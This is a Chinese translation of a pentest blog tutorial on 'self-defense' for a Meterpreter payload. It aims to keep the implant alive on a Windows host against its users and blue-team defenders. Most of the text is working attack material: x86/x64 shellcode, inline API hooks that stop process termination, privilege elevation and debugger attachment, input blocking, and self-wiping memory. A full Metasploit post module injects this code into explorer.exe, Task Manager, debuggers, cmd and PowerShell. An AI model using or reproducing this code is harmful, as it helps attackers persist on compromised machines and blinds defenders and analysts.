反检测的艺术4-自保护(翻译)

文章目录
  1. 1. 0x00 进程保护
  2. 2. 参考

在反检测的艺术系列中,我们主要研究了如何绕过自动化安全产品的方法,但是在这一部分中,我们将重点介绍几种自保护方法,保护我们在目标终端上的载荷免受其实际用户的破坏。用户可能是缺乏网络技术的员工或也有可能是网络安全部门的蓝队成员。我们的目的是在没有任何特权的情况下存活并在目标终端中隐藏我们的存在。但是,在继续学习之前,我建议您阅读本系列的前几篇文章,因为这些自保护方法包含大量的有关shellcoding和API hooking的前置知识,现在我们开始吧!

在渗透测试时我们常使用meterpreter载荷,因此我们的主要目标将是为Metasploit构建一个后漏洞利用模块。该模块激活后应能够保护运行meterpreter载荷的进程免受用户干预。同样,在设计此模块时,我们将以x86和x64 Shellcode形式实现这些自保护方法,这将使我们能够将该自保护方法部署到其他正在运行的进程中。首先,我们需要考虑用户如何破坏目标系统上的会话。第一个明显的操作是用几个系统内置工具来终止未知/可疑的过程。我们的第一个技巧将是防止进程终止。在本文中,我们将假定我们的meterpreter会话与用户具有相同的特权。因为这是公司网络中最有可能发生的情况。公司的大多数用户帐户没有管理权限。我们将通过利用Windows内部的某些逻辑来尝试实现。因此,该模块应该能够在不提升特权的情况下工作。由于Windows用户帐户控制(UAC)的原因,我们将针对不同的Windows版本考虑不同的策略。

0x00 进程保护

第一个技巧将针对Windows 7及更低版本。尽管Windows 7已有10年的历史,但仍在世界范围内大量使用。在这些版本中,非管理员用户可以创建受保护的进程,这会导致一种奇怪的情况,即用户创建了无法被创建者终止的进程。当一个进程受到保护时,只有管理员用户可以对其进行操作。当非管理员用户尝试终止受保护的进程会弹出错误提示,



同样不仅有关终止进程,还禁止所有与打开受保护进程的句柄有关的操作。为了保护进程,我们需要设置一个特殊的安全描述符。根据MSDN,安全描述符结构包含与对象关联的安全信息。如;

1
2
3
4
5
6
7
8
9
typedef struct _SECURITY_DESCRIPTOR {
BYTE Revision;
BYTE Sbz1;
SECURITY_DESCRIPTOR_CONTROL Control;
PSID Owner;
PSID Group;
PACL Sacl;
PACL Dacl;
} SECURITY_DESCRIPTOR, *PISECURITY_DESCRIPTOR;

这些结构可以用安全描述符字符串格式表示,该格式是用于在安全描述符中存储或传输信息的文本格式。格式是一个以令牌结尾的空终止字符串,用于指示安全描述符的四个主要组成部分:所有者(O :),主要组(G :),DACL(D :)和SACL(S :)。

1
2
3
4
O:owner_sid
G:group_sid
D:dacl_flags(string_ace1)(string_ace2)... (string_acen)
S:sacl_flags(string_ace1)(string_ace2)... (string_acen)

为了保护进程,我们需要将D:P设置为SE_DACL_PROTECTED标志。为了在进程的SECURITY_DESCRIPTOR中设置此类标志,我们需要使用特定的Windows API函数。首先,我们需要将字符串安全描述符格式转换为适当的安全描述符结构。为此,我们将调用ConvertStringSecurityDescriptorToSecurityDescriptorA函数。该功能采用以下参数。

1
2
3
4
5
6
BOOL ConvertStringSecurityDescriptorToSecurityDescriptorA(
LPCSTR StringSecurityDescriptor,
DWORD StringSDRevision,
PSECURITY_DESCRIPTOR *SecurityDescriptor,
PULONG SecurityDescriptorSize
)
;

如上所示,需要有一个已经声明的安全描述符结构来设置新的描述符。我们将首先声明一个SECURITY_ATTRIBUTES结构,其中将包含我们的SECURITY_DESCRIPTOR。

1
2
3
4
5
6
SECURITY_ATTRIBUTES sa;
TCHAR * szSD = TEXT("D:P");
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.bInheritHandle = FALSE;

ConvertStringSecurityDescriptorToSecurityDescriptor(szSD,SDDL_REVISION_1, &(sa.lpSecurityDescriptor)

将字符串安全描述符转换为SECURITY_ATTRIBUTES结构之后,现在我们需要获取要保护的进程句柄。

1
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());

最后,我们将调用SetKernelObjectSecurity,此函数设置内核对象的安全性。设置好准备的安全描述符后,我们的进程终于可以免受野蛮用户的侵害了。现在,我们需要将这一系列API调用转换为shellcode。除了创建SECURITY_ATTRIBUTES结构之外,对此没有什么棘手的问题。我们将总共执行4个API调用,最多包含4个参数。根据我们的shellcoding文章,构造这样的shellcode应该没有问题。唯一棘手的部分是创建SECURITY_ATTRIBUTES结构,因为您需要以字节为单位计算结构的总大小,并在首次创建时复制存储在内部的值。为了简化工作,编译用C编写的代码,然后使用调试器查看SECURITY_ATTRIBUTES结构。




在x86系统中,此结构的长度为12个字节,在x64系统中,此大小加倍。产生的汇编代码应如下所示;

1
2
3
4
5
6
7
8
9
10
11
; x86 ConvertStringSecurityDescriptorToSecurityDescriptor call
push 0x00503a44 ; "D:P"
sub esp,4 ; Push the address of "D:P" string to stack
push 0x00000000 ; FALSE
lea eax, [esp+4] ; Load the address of 4 byte buffer to EAX
push eax ; Push the 4 byte buffer address
push 0x00000001 ; SDDL_REVISION_1
lea eax, [esp+16] ; Load the address of "D:P" string to EAX
push eax ; Push the EAX value
push 0xDA6F639A ; hash(advapi32.dll, ConvertStringSecurityDescriptorToSecurityDescriptor)
call ebp ; ConvertStringSecurityDescriptorToSecurityDescriptor("D:P",SDDL_REVISION_1,FALSE)


其余的shellcoding应该更容易。我们还需要考虑一个微小的细节。我们将使用Metasploit框架的execute_shellcode函数。此函数只是将shellcode注入进程,然后通过打开远程线程来执行它。执行完后,我们的shellcode需要调用适当的函数来正确终止线程。这意味着我们需要在所有shellcode的末尾附加block_exitfunk.asm代码。该块确定当前的Windows版本,并相应地调用适当的退出函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[BITS 64]

exitfunk:
mov ebx, 0x0A2A1DE0 ; The EXITFUNK as specified by user...
mov r10d, 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" )
call rbp ; GetVersion(); (AL will = major version and AH will = minor version)
add rsp, 40 ; cleanup the default param space on stack
cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7
jl short goodbye ; Then just call the exit function...
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
jne short goodbye ;
mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
goodbye: ; We now perform the actual call to the exit function
push byte 0 ;
pop rcx ; set the exit function parameter
mov r10d, ebx ; place the correct EXITFUNK into r10d
call rbp ; call EXITFUNK( 0 );


这是此方法的完整x86x64 shellcode。但是这种方法只能解决一半的过程终止问题。具有管理特权的用户仍可以通过以管理员身份运行进程终止工具来终止受保护的进程。因此,我们的第二个技巧应该用户UAC提权。

## 防止提权
为了防止特权提升,我们需要了解进程如何获取某些特权。当进程需要执行某些任务时,因此它需要具有适当的访问令牌,需要特殊的权限。终止或打开受保护进程的句柄也需要某些令牌。有几种获取这些访问令牌的方法,几乎​​所有方法都包括以下两个API函数的使用:

第一个是AdjustTokenPrivileges,此功能启用或禁用指定访问令牌中的特权。几乎所有需要令牌操作的特权操作都使用此API函数。

1
2
3
4
5
6
7
8
BOOL AdjustTokenPrivileges(
HANDLE TokenHandle,
BOOL DisableAllPrivileges,
PTOKEN_PRIVILEGES NewState,
DWORD BufferLength,
PTOKEN_PRIVILEGES PreviousState,
PDWORD ReturnLength
)
;



第二个重要函数是RtlSetDaclSecurityDescriptor,此函数设置绝对格式安全描述符的DACL信息,或者如果安全描述符中已经存在DACL,则将其取代。

1
2
3
4
5
6
NTSYSAPI NTSTATUS RtlSetDaclSecurityDescriptor(
PSECURITY_DESCRIPTOR SecurityDescriptor,
BOOLEAN DaclPresent,
PACL Dacl,
BOOLEAN DaclDefaulted
)
;



从理论上讲,如果我们能够找到一种方法来禁用进程中的这两个功能,让它根本无法更改其令牌特权,因此无法执行特权操作。为了在远程进程中禁用这两个功能,我们需要使用内联API挂钩。我们使用内联挂钩的原因是因为我们的目标主要是任务管理器之类的系统进程。这些系统二进制文件没有在导入地址表中使用函数地址,而是在运行时动态加载所需的API函数。因此,patch IAT条目(IAT挂钩)对我们而言不起作用,我们需要能够直接重定向或patch这些功能。为了实现这一点,我们需要使用一个内联钩子汇编块。此块patch了函数序言的前两个字节,使我们可以将函数重定向到其他地方或返回任何值。在我们的情况下,我们需要它返回true。这个汇编模块,它需要一个名为patch的二进制文件,其中包含在函数序言部分写入汇编指令功能。为了从这些函数返回true,应遵循以下说明;

1
2
3
4
5
6
7
; x64 return 0
db 0x48,0x31,0xc0 ; xor rax,rax
db 0xc3 ; ret

; x86 return 0
db 0x32,0xc0 ; xor eax,eax
db 0xc3 ; ret


现在,此块将使用给定的哈希值对函数进行修补,并使其返回零。一旦在进程内执行此shellcode,任何令牌提升尝试都将返回false,因此该进程将无法升级特权。


## 阻止输入

这是次要的细节。我们的meterpreter载荷可能正在带有图形用户界面的应用程序内部运行,这可能意味着可能有多个按钮用于终止应用程序。通过调用BlockInput API函数,我们将阻止所有键盘和鼠标输入事件到达托管有效载荷的应用程序。

## 自我移除
这是开发此模块的最重要作用之一。我没有指定调用API函数的任何特定方法,可以通过几种方法来完成,但是更简单的方法是使用Metasploit block API。但使用block API具有很大的挑战,可被安全产品检测到。在尝试保持存在并保持存活的同时,我们还需要从内存中删除所有可疑shellcode,尤其是block API。因此,在完成保护进程并在其他进程进行hook之后,我们需要设置一个序幕prologue,该序幕prologue将清除内存中的shellcode。但是此任务有点棘手,因为要终止线程,我们需要调用适当的API函数。要调用函数,我们还需要block API。这种情况迫使我们首先获取所需的终止函数地址,然后从内存中擦除shellcode。生成的shellcode应该看起来像这样;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
    push 0x0000006c                 ; 0x00,l
push 0x6c642e6c ; ld.l
push 0x6c64746e ; ldtn
push esp ; &"ntdll.dll"
push 0x0726774C ; hash("KERNEL32.dll", "LoadLibraryA")
call ebp ; LoadLibraryA("ntdll.dll")
push 0x00000064 ; 0x00,d
push 0x61657268 ; aerh
push 0x54726573 ; Tres
push 0x55746978 ; Utix
push 0x456c7452 ; EltR
push esp ; &"RtlExitUserThread"
push eax ; HANDLE (KERNEL32.dll)
push 0x7802F749 ; hash("KERNEL32.dll", "GetProcAddress")
call ebp ; GetProcAddress(HANDLE, "RtlExitUserThread")
mov ebp,eax ; Save the RtlExitUserThread address to EDI
; PEB manipulation
xor eax,eax ; Zero EAX (upper 3 bytes will remain zero until function is found)
mov ebx,[fs:eax+0x30] ; Get a pointer to the PEB
mov ebx,[ebx+0x0C] ; Get PEB->Ldr
mov eax,[ebx + 0x0C] ; InOrderModuleList
mov dword [eax+0x20],0xFFFFFF ; SizeOfImage
; Wipe self defense shellcode
total_size: equ $-self_defense ; Set the size of the self defense shellcode to total_size label
mov ecx,total_size ; Move the total size of the self defense shellcode to ECX
call $+5
pop eax
clean:
mov byte [eax],0x00 ; Wipe 1 byte
dec eax ; Increase index
loop clean ; Loop until all shellcode cleared from memory
push 0x00 ; NULL
call ebp ; RtlExitUserThread(0)


对于某些安全产品,从内存中删除shellcode可能不够。设计变形编码器可能非常有帮助。为了简短起见,我不会在本文中包括编码部分。在编写了自我删除序言prologue之后,现在我们将它们全部合并在一起,最终的x86x64自保护shellcode已准备好了。在继续执行Metasploit模块之前,我们还需要针对Windows不同版本实现不同的解决方案,该版本的Windows我们的之前提出的进程保护技术无效。

## 防止被终止

没有受保护的进程,Windows 8/10用户可以直接终止我们的会话。在这种情况下该怎么办?经过深思熟虑,一个明显的答案就浮现了,我们可以简单地在所有能够终止进程的程序中禁用所有进程终止API。但是我们还需要保护我们的载荷以免被分析。调试器和任何类型的监视工具也不应附加到我们的进程中。所有这些都可以通过挂钩OpenProcess API来实现。由于OpenProcess是非常基础的API,我们可以通过注入进程利用多种方式对其削弱。某些程序一旦调用OpenProcess失败就会崩溃。这可以以更安全和隐秘的方式完成。我之所以选择它是因为懒,但是这解决了我们的进程被终止问题。我们可以使用前面的钩子shellcode。唯一需要更改的是传递给内联钩子块的函数散列。添加此代码后,我们的shellcoding阶段结束。


## Metasploit模块
现在,我们需要构造MSF post模块,该模块会将我们的shellcode注入相应的进程中。让我们从选择一个漏洞利用后模块模板开始。我们的模块不会采用任何强制性参数。将有两个可选参数,分别称为PID和LOOP。该模块应能够保护托管我们的meterpreter载荷的进程。 PID参数将指定要注入我们的shellcode的进程ID。 LOOP参数将指定模块是否连续运行。以下模板设置所需的漏洞利用后类和元数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
class MetasploitModule < Msf::Post

include Msf::Post::File
include Msf::Post::Windows::Process

def initialize(info = {})
super(update_info(info,
'Name' => 'Process Protector',
'Description' => %q{
This module will protect the given process with injecting special shellcodes and disabling key API functions using inline hooking.
},
'License' => MSF_LICENSE,
'Author' => [ 'Ege Balcı' ],
'Platform' => [ 'win'],
'SessionTypes' => [ 'meterpreter']
))

register_options([
OptString.new('PID', [false, 'The target process ID for the UAC elevation.' ]),
OptBool.new('LOOP', [false, 'Continiously check running processes for elevation prevention.' ]),
])

end
end


在声明了初始元数据和类之后,现在我们将构造run方法。首先,我们需要检查该会话是否为meterpreter会话。

1
2
3
# Make sure we meet the requirements before running the script, note no need to return
# unless error
return 0 if session.type != "meterpreter"


现在检查会话类型之后,我们将检查是否指定了特殊的PID值。如果不是,则此模块应针对包含我们的Meterpreter会话的进程。我们可以通过一个简单的检查来做到这一点,Metasploit中的每个post模块都有一个client类。根据ruby文档,此类提供了一个与Rex开发后接口兼容的接口,该接口试图公开其功能集。此类旨在驱动单个meterpreter客户端会话。通过调用client.sys.process.getpid,我们可以获得获取会话的进程的当前进程ID。

1
2
3
4
5
if datastore['PID'].to_s == ''
pid = client.sys.process.getpid.to_i
else
pid = datastore['PID'].to_i
end


为了避免在shellcode程序代码中重复使用块API,我们将声明一次并在所有shellcode程序代码中使用它们。实际上,Metasploit已经具有生成内置在其中的block_api.asm的机制。但是由于懒,我直接在模块内部声明了已组装的block_api.asm。

1
2
3
4
5
6
7
8
9
10
11
12
13
# https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_api.asm
block_api_32 = ""
block_api_32 << "\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c"
# SNIP ...
block_api_32 << "\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a"
block_api_32 << "\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d"

# https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x64/src/block/block_api.asm
block_api_64 = ""
block_api_64 << "\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48"
# SNIP ...
block_api_64 << "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a"
block_api_64 << "\x48\x8b\x12\xe9\x4f\xff\xff\xff"


我知道看起来很难看,如果您知道在利用漏洞利用模块中生成块API的更好方法,请告诉我。我还以相同的方式汇编并声明了我们准备的shellcode。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
prevent_elevate_32 = ""
prevent_elevate_32 << "\xfc\xe8\xb6\x00\x00\x00\x5b\xe8\x2f\x00\x00\x00"
prevent_elevate_32 << "\x89\xc6\x68\x10\xe1\x8a\xc3\xe8\x23\x00\x00\x00"
# SNIP ...
prevent_elevate_32 << "\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51"
prevent_elevate_32 << "\xc3\x5f\x5f\x5a\x8b\x12\xeb\x8e\x5d\x68\x2d\xf9"
prevent_elevate_32 << "\x7f\xe5\xff\xd5\x68\x75\x1f\x0a\x33\xff\xd5\xe8"
prevent_elevate_32 << "\x82\x00\x00\x00"
prevent_elevate_32 << block_api_32
prevent_elevate_32 << "\x5d\xbb\xe0\x1d\x2a\x0a\x68\xa6\x95\xbd"
prevent_elevate_32 << "\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05"
prevent_elevate_32 << "\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5"

prevent_elevate_64 = ""
prevent_elevate_64 << "\xfc\xe8\x16\x01\x00\x00\x5b\xe8\x49\x00\x00\x00"
prevent_elevate_64 << "\x48\x83\xc4\x20\x48\x89\xc6\x41\xba\x10\xe1\x8a"
prevent_elevate_64 << "\xc3\xe8\x37\x00\x00\x00\x48\x83\xc4\x20\x6a\x00"
prevent_elevate_64 << "\x49\x89\xe1\x41\xb8\x40\x00\x00\x00\xba\x04\x00"
prevent_elevate_64 << "\x00\x00\x48\x89\xf1\xff\xd0\x58\xe8\x04\x00\x00"
prevent_elevate_64 << "\x00\x48\x31\xc0\xc3\x5a\xb9\x04\x00\x00\x00\x8a"
prevent_elevate_64 << "\x02\x88\x06\x48\xff\xc6\x48\xff\xc2\xe2\xf4\x53"
prevent_elevate_64 << "\xc3\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65"
# SNIP ...
prevent_elevate_64 << "\xf9\x7f\xe5\xff\xd5\x41\xba\x75\x1f\x0a\x33\xff"
prevent_elevate_64 << "\xd5\xe8\xc8\x00\x00\x00"
prevent_elevate_64 << block_api_64
prevent_elevate_64 << "\x5d\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95"
prevent_elevate_64 << "\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a"
prevent_elevate_64 << "\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00"
prevent_elevate_64 << "\x59\x41\x89\xda\xff\xd5"

self_defense_64 = ""
self_defense_64 << "\xfc\xe8\xc8\x00\x00\x00"
self_defense_64 << block_api_64
self_defense_64 << "\x5d\x41\xba\x49\x47\xc6\x62\xff\xd5\x49"
self_defense_64 << "\x89\xc0\xba\x00\x00\x00\x00\xb9\xff\x00\x1f\x00"
self_defense_64 << "\x41\xba\xee\x95\xb6\x50\xff\xd5\x48\x89\xc3\x6a"
# SNIP ...
self_defense_64 << "\x78\x69\x74\x55\x50\x48\x89\xe2\x41\xba\x49\xf7"
self_defense_64 << "\x02\x78\xff\xd5\x48\x89\xc5\xe8\x00\x00\x00\x00"
self_defense_64 << "\x58\xb9\xb7\x01\x00\x00\xc6\x00\x00\x48\xff\xc8"
self_defense_64 << "\xe2\xf8\x6a\x00\xff\xd5"

self_defense_32= ""
self_defense_32 << "\xfc\xe8\x82\x00\x00\x00"
self_defense_32 << block_api_32
self_defense_32 << "\x5d\x68\x49\x47\xc6\x62\xff\xd5"
self_defense_32 << "\x50\x6a\x00\x68\xff\x0f\x1f\x00\x68\xee\x95\xb6"
self_defense_32 << "\x50\xff\xd5\x89\xc3\x6a\x00\x68\x70\x69\x33\x32"
# SNIP ...
self_defense_32 << "\x5b\x0c\x8b\x43\x0c\xc7\x40\x20\xff\xff\xff\x00"
self_defense_32 << "\xb9\x44\x01\x00\x00\xe8\x00\x00\x00\x00\x58\xc6"
self_defense_32 << "\x00\x00\x48\xe2\xfa\x6a\x00\xff\xd5"


现在,在声明了shellcode之后,我们需要遍历所有进程并将shellcode注入可能导致我们麻烦的进程中。以下代码实现循环遍历所有进程,注入并钩住AdjustTokenPrivileges和RtlSetDaclSecurityDescriptor API的shellcode。我们使用client.sys.process.processes方法访问目标计算机上的进程信息。如果进程名称是explorer.exe或我们在顶部声明的任何分析工具,它将通过调用execute_shellcode函数来注入我们的shellcode。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
analysis_tools =['taskmgr.exe','procexp64.exe','ida.exe','ida64.exe','windbg.exe','x32dbg.exe','ollydbg.exe','tasklist.exe','cmd.exe','powershell.exe','cheatengine-x86_x64.exe']

os = client.sys.config.sysinfo['OS']
print_status("Target OS -> #{os}")

client.sys.process.processes.each do |p|
begin
# Check Payload Arch
if 'explorer.exe' === p['name'].to_s.downcase or analysis_tools.include? p['name'].to_s.downcase
print_status("Hooking RtlSetDaclSecurityDescriptor on #{p['name']} (#{p['arch']})")
print_status("Hooking AdjustTokenPrivileges on #{p['name']} (#{p['arch']})")
if 'x64' === p['arch'].to_s
execute_shellcode(prevent_elevate_64,nil,p['pid'].to_i)
else
execute_shellcode(prevent_elevate_32,nil,p['pid'].to_i)
end
print_good("UAC elevation disabled for #{p['name']}")
end
rescue => e
print_error("API hooking failed: #{e}")
end
end


现在,我们需要考虑运行的操作系统版本是否高于Windows 7的情况。我们可以通过访问client.sys.config.sysinfo [‘OS’]结构来简单地进行检查。我们将检查版本字符串,并决定是使用保护进程方法还是使用挂钩API的方法。如果我们需要挂钩NtOpenProcess和TerminateProcess API,我们可以简单地在API挂钩shellcode中更改函数名称哈希。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
if os.to_s.include? "Windows 7" or os.to_s.include? "Windows XP" or os.to_s.include? "2008"
client.sys.process.processes.each do |p|
# Check Payload Arch
if pid.to_i === p['pid'].to_i
print_status('Injecting self defense shellcode...')
if 'x64' === p['arch'].to_s
execute_shellcode(self_defense_64,nil,pid)
else
execute_shellcode(self_defense_32,nil,pid)
end
end
end
print_good('Self defense active !')
else
# Set NtOpenProcess & TerminateProcess hashes
prevent_terminate_64 = prevent_elevate_64.sub! "\x2D\xF9\x7F\xE5", "\x87\xDC\xCA\x5E"
prevent_terminate_32 = prevent_elevate_32.sub! "\x2D\xF9\x7F\xE5", "\x87\xDC\xCA\x5E"

prevent_terminate_64 = prevent_elevate_64.sub! "\x75\x1F\x0A\x33", "\xA3\x9D\xA1\x23"
prevent_terminate_32 = prevent_elevate_32.sub! "\x75\x1F\x0A\x33", "\xA3\x9D\xA1\x23"

hooked = ""
while 1
client.sys.process.processes.each do |p|
# Check Payload Arch
if analysis_tools.include? p['name'].to_s.downcase
print_status("Hooking TerminateProcess on #{p['name']} (#{p['arch']} - #{p['pid']})")
print_status("Hooking NtOpenProcess on #{p['name']} (#{p['arch']} - #{p['pid']})")
begin
if 'x64' === p['arch'].to_s
execute_shellcode(prevent_terminate_64,nil,p['pid'].to_i)
else
execute_shellcode(prevent_terminate_32,nil,p['pid'].to_i)
end
hooked << p['pid'].to_s+','
print_good("Process termination disabled for #{p['name']}")
rescue => e
print_error("API hooking failed: #{e}")
end
end
end
if not datastore['LOOP']
break
end
end
end


在替换函数哈希时,请记住字节序问题,哈希值将以相反的顺序存储。当您查看上面的源代码时,您会发现在while条件内调用execute_shellcode函数,该条件取决于我们post模块的LOOP参数。这种机制是必要的,因为当用户在执行我们的模块后创建新的任务管理器进程时,该进程仍将能够终止其他进程。因此,我们需要一种将对抗终止进程shellcode持续注入到新创建的过程中的机制。仅对于反进程终止shellcode才需要使用此代码,因为其他代码已注入到资源管理器和我们自己的进程中,因此用户不太可能重新启动资源管理器。最后,这是我们的post模块的最后一部分。这是最终的self_defense.rb模块。只需将其移至~/.msf4/modules/post/windows目录下,即可将其添加到Metasploit。下面我们来看操作步骤。
首先,我们执行Meterpreter载荷。


启动会话后,我们通过键入以下内容执行模块run post/windows/self_defense.




现在,我们的载荷受到了保护,用户无法以管理员身份终止程序。
可以通过各种方式来改进此模块,尤其是可以使用简单的机制来检查handle参数并仅在将进程句柄传递给函数时才禁用它,而不是直接禁用OpenProcess API。同样,除了将我们的shellcode硬编码到模块源中之外,还有一种更动态的方式来生成它们。特别是集成Metasploit的有效载荷编码功能,可以使我们在每次执行时生成唯一的shellcode。我将在存储库中添加新的自保护shellcode。

参考

原文链接:https://pentest.blog/art-of-anti-detection-4-self-defense/